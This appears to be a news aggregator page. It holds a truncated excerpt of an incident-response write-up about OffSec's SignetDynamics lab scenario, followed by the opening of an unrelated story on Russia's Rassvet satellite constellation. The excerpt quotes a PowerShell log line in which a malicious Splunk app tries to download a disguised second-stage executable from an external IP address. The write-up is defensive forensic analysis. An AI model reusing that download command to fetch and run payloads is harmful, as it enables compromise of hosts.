TECH NEWS

When PowerShell Said "Failed," tcpdump Said Why

https://hackernoon.imgix.net/images/1J35oOUAayT7EtcM36RCr868qB83-qq8372l.png

The Question

A PowerShell log told me a download failed. What it couldn't tell me was whether the request ever left the host.

This was during the SignetDynamics scenario — Week 3 of OffSec's Dune Phantom Gauntlet, a four-week incident response series that wrapped a while back. I was working through the application server's PowerShell logs, and I found this:

ScriptBlockText: "iwr http://178.62.245.11:8080/splunk_license.exe -OutFile splunk_license.exe"...TerminatingError(Invoke-WebRequest): "Unable to connect to the remote server"

There was a malicious Splunk app, already living on the box, trying to pull a second-stage payload disguised as a license file. Good news: it failed. But "unable to connect" is doing a lot of unearned work in that sentence. Failed where? Did the attacker's server refuse the connection? Did a firewall somewhere in between drop it? Or did the request never even leave the host?

Those three answers point at three completely different people to go...

Copyright of this story solely belongs to hackernoon.com. To see the full text click HERE

Read more

https://cdn.mos.cms.futurecdn.net/9Km7ky9AU7NcrTGcdP5ZTe-1920-80.jpg

Russia's accelerating Starlink rival development means that war in space is not just probable; it's inevitable

* Russia is accelerating Rassvet faster than Ukrainian intelligence previously expected * Moscow plans to expand Rassvet into a 924-satellite constellation by 2035 * Rassvet currently provides intermittent coverage rather than Starlink-level continuous connectivity Russia is building its own satellite constellation, called Rassvet, at a pace that has outrun Ukrainian intelligence projections, experts